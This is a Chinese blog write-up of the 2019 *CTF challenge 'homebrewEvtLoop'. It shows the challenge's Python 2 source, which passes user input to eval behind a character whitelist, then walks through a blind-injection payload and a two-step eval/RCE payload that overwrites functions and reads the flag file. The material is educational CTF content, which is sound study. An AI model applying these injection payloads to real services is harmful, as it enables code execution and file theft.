2019*CTF之homebrewEvtLoop

栏目: Python · 发布时间: 5年前

内容简介:这道题中留了两个flag,分别可用盲注和直接RCE读取的方式获得,挺有意思的,记录一下。首先代码如下:程序将用户输入的数据通过114514来切割,分别作为函数名和参数。然后函数名会用eval处理,不过函数名还会经过valid_event_chars字符白名单验证,需要绕过。

这道题中留了两个flag,分别可用盲注和直接RCE读取的方式获得,挺有意思的,记录一下。

题目

首先代码如下:

#!/usr/bin/python
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

import sys
import hashlib
import random

# private ------------------------------------------------------------
def flag():
    # flag of stage 1
    return '*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}'

def flag2():
    ret = ''
    # flag of stage 2
    # ret = open('flag', 'rb').read() # No more flag for you hackers in stage2!
    return ret

def switch_safe_mode_factory():
    ctx = {'io_pair': [None, None]}
    def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair'])
    return __wrapper

def PoW():
    #return
    while True:
        a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex')
        print 'hashlib.sha1(input).hexdigest() == "%s"' % a
        print '>',
        input = raw_input()
        if hashlib.sha1(input).hexdigest()[:4] == a:
            break
        print 'invalid PoW, please retry'

# protected ----------------------------------------------------------
def fib(a):
    if a <= 1: return 1
    return fib(a-1)+fib(a-2)

# public -------------------------------------------------------------
def load_flag_handler(args):
    global session
    session['log'] = flag2()
    return 'done'

def ping_handler(args):
    return 'pong'

def fib_handler(args):
    a = int(args[0])
    if a > 5 or a < 0: return 'out of range'
    return str(fib(a))

if __name__ == '__main__':
    session = {}
    session['log'] = flag()
    switch_safe_mode = switch_safe_mode_factory()
    switch_safe_mode_factory = None
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')

    while True:
        PoW()
        print '$',
        event = raw_input() # get eventName and args from the RPC requests, like: funcName114514arg1114514args2114514arg3 ...
        switch_safe_mode()
        if event == 'exit': break

        for c in event:
            if c not in valid_event_chars:
                print "invalid request"
                exit(-1)

        event, args = event.split('114514')
        args = args.split('114514')

        try:
            handler = eval(event)
            print handler(args)
        #except Exception, e:
        #	print 'exception:', str(e)
        except:
            print 'exception'

程序将用户输入的数据通过114514来切割,分别作为函数名和参数。然后函数名会用eval处理,不过函数名还会经过valid_event_chars字符白名单验证,需要绕过。

盲注

盲注payload如下:

session[args[0]][5]in[event[49]][0]and[dir][0]or[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789]114514log

# 把这个payload分成三个部分
# flag字符拆解 and dir or 字符集

session[args[0]][5] 中的5其实是flag字符的下标,而 event[49] 中的49对应的是整个payload中字符的下标,即用于拆解的字符集中的a字符。

# flag字符拆解 and dir or 字符集

如果flag字符拆解结果为True:
flag字符拆解 and dir or 字符集 => True and dir or 字符集 => dir => dir(字符串)

如果flag字符拆解结果为False:
flag字符拆解 and dir or 字符集 =>  False and dir or 字符集  => 字符集 => 字符集(字符串)

程序之后又将这个eval的返回结果作为函数名调用对应函数,根据这两种不同的返回结果,我们就可以进行逐位盲注。 2019*CTF之homebrewEvtLoop

RCE

再来看看RCE的payload:

# 第一次输入
[[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]][0][0]114514

# 第二次输入
['[[str]for[args]in[[session]]][0][0]114514' for session in [open('flag','rb').read()]][0]

第一次输入的payload可以拆解如下:

[[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]]
# 类似于
l = []
for [PoW] in [[switch_safe_mode]] :
    PoW = switch_safe_mode
    for [raw_input] in [[input]] :
        raw_input = input
        l.append([str])

这段payload做的最重要的就是变量覆盖,修改函数原有的功能。这里使Pow变成了switch_safe_mode,而raw_input变成了input。然后在下一次循环的时候,Pow函数就不会再要我们输入字符串校验。

2019*CTF之homebrewEvtLoop

这里之所以把raw_input变成了input,是因为题目环境为 python 2.x,而Python2.x中input函数定义如下:

Python2.x 中 input() 相等于 eval(raw_input(prompt)) ,用来获取控制台的输入。
Python3.x 中 input() 函数接受一个标准输入数据,返回为 string 类型。

这样就相当于下次输入的字符串会执行两次eval,我们再来看第二次输入的payload:

# 第二次输入
['[[str]for[args]in[[session]]][0][0]114514' for session in [open('flag','rb').read()]][0]

这个payload经过input函数后,实际上就是把前一半 [[str]for[args]in[[session]]][0][0]114514 的内容赋值给了event。但是它还做了一件很重要的问题,那就是把flag文件的内容赋值给了session变量。这里涉及到python变量作用范围问题,如下例子:

>>> i = 233
>>> l = [i for i in range(1,10)]
>>> i
9

列表生成式中的变量会影响列表以外的变量,之后获得flag的过程就如下:

event = raw_input() # event: '[[str]for[args]in[[session]]][0][0]114514'; session: flag内容
event, args = event.split('114514') # event:
args = args.split('114514')
handler = eval(event) # event: str; args: flag内容
print handler(args) # str(flag内容)

以上所述就是小编给大家介绍的《2019*CTF之homebrewEvtLoop》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

你必须知道的213个C语言问题

你必须知道的213个C语言问题

范立锋、李世欣 / 人民邮电出版社 / 2010-6 / 45.00元

《你必须知道的213个C语言问题》精选了213个在C语言程序设计中经常遇到的问题,目的是帮助读者解决在C语言学习和开发中遇到的实际困难,提高读者学习和开发的效率。这些问题涵盖了C语言与软件开发、C语言基础、编译预处理、字符串、函数、键盘操作、文件、目录和磁盘、数组、指针和结构、DOS服务和BIOS服务、日期和时间、重定向I/O和进程命令、C语言开发常见错误及程序调试等内容,均是作者经过充分的调研,......一起来看看 《你必须知道的213个C语言问题》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码